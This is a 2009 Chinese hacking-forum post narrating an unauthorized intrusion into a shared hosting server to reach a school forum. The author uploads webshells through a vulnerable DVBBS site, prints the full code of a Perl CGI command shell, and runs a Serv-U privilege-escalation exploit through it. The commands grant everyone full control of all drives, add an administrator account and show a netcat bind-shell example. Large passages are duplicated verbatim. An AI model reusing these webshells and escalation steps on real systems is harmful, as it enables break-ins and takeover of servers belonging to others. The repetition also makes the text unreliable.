Board logo

标题: 记对一台BT主机的入侵过程 [打印本页]

作者: 3ast    时间: 2009-1-27 20:46     标题: 记对一台BT主机的入侵过程

记对一台BT主机的入侵过程
记对一台BT主机的入侵过程
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又能够看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢xiaolu 了。
  一个多月的时间里,渗透过上百台服务器,有单独的,有虚拟主机的,有群组的,有国内和外国,我发现一个极其严重的问题,外国的服务器,普遍安全性都很高,管理员的安全意识很高,做个比例,假如国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那外国、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是个问题。可是却反映出国内的管理员的水平的的确确比外国的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
  但是国内的也有比较 BT 的管理员,我就遇见几个服务器配置得很。其中一个的 Documents and Settings 目录下更有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,更有另外一个,就是今天的重点。
  一次看见了一个学校论坛(http://www.*****.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是假如实在从 Web 上很难找到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
  大概看了看站点。就是个论坛,采用 LeadBBS ,拿这个论坛没辙,更有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,能够查询一个 IP 上,绑定了多少个域名。假如真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程式的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个能够浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都配置了单独的用户,似乎一切都陷入僵局。
  没有目的的跳转目录着……
  我习惯性的在 URL 跳转到 c:\php,没想到居然能够看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,很幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦配置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了周详的系统信息,但是看 phpspy 自带的探针能够发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只能够看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不相同,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
  结束了吗?不,我试着 FTP 一下:
  
  
  
  
  
Microsoft Windows 2000 [Version 5.00.2195]
  (C) 版权任何 1985-2000 Microsoft Corp.
  C:\Documents and Settings\Administrator>ftp www.*****.com
  Connected to www. school.com.
  220 Welcome to FTP Server...
  User (www.bjtrq.com:(none)):
  331 User name okay, need password.
  Password:
  530 Not logged in.
  Login failed.
  ftp> bye
  221 Goodbye!
  
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有现在任何版本 Serv-U 本地提升权限的 Exploit ,假如我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录能够写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
  
  一次看见了一个学校论坛(http://www.*****.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是假如实在从 Web 上很难找到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
  大概看了看站点。就是个论坛,采用 LeadBBS ,拿这个论坛没辙,更有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,能够查询一个 IP 上,绑定了多少个域名。假如真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程式的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个能够浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都配置了单独的用户,似乎一切都陷入僵局。
  没有目的的跳转目录着……
  我习惯性的在 URL 跳转到 c:\php,没想到居然能够看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,很幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦配置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了周详的系统信息,但是看 phpspy 自带的探针能够发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只能够看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不相同,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
  结束了吗?不,我试着 FTP 一下:
  
  
  
  
  
Microsoft Windows 2000 [Version 5.00.2195]
  (C) 版权任何 1985-2000 Microsoft Corp.
  C:\Documents and Settings\Administrator>ftp www.*****.com
  Connected to www. school.com.
  220 Welcome to FTP Server...
  User (www.bjtrq.com:(none)):
  331 User name okay, need password.
  Password:
  530 Not logged in.
  Login failed.
  ftp> bye
  221 Goodbye!
  
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有现在任何版本 Serv-U 本地提升权限的 Exploit ,假如我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录能够写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
  
  更有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的任何文档,这么说这个目录可能能够写,也可能能够执行咯,马上传一个 su.exe(针对现在任何版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文档日期是 2002 年 6 月 30 日的,代码如下:
  
  
  
  
  
#!/usr/bin/perl
  binmode(STDOUT);
  syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
  $_ = $ENV{QUERY_STRING};
  s/%20/ /ig;
  s/%2f/\//ig;
  $execthis = $_;
  syswrite(STDOUT, "
\r\n", 13);
  open(STDERR, ">&STDOUT") || die "Can’t redirect STDERR";
  system($execthis);
  syswrite(STDOUT, "\r\n\r\n", 17);
  close(STDERR);
  close(STDOUT);
  exit;
  
  我用过最好的 cgishell ,保存为一个 cgi 文档执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到更有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文档改为 pl 文档,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
  显示“拒绝访问”,终于能够执行了!太兴奋了,马上提交:
  http://anyhost//cmd.pl?d:\user\bin\su.exe
  返回:
  Serv-u >3.x Local Exploit by xiaolu
  USAGE: serv-u.exe "command"
  Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看您这次还不死?提交:
  http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F"
  http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F"
  http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F"
  http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F"
  返回下面的信息,就表示成功了!!!
  
  
  
  
  
Serv-u >3.x Local Exploit by xiaolu
  USER LocalAdministrator
  PASS #l@$ak#.lk;0@P
  SITE MAINTENANCE
  ******************************************************
  [+] Creating New Domain...
  USER xl
  PASS 111111
  
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把任何分区配置为 everyone 完全控制了,能够任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
  http://anyhost//cmd.pl?d:\user\bin\su.exe " net l ... s IUSR_anyhost /add"
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。

  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,假如有一个人从中受益,这篇文章就完成他的使命了。
作者: zhuyahui    时间: 2009-1-30 18:25

乱了 整理下~~!!




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2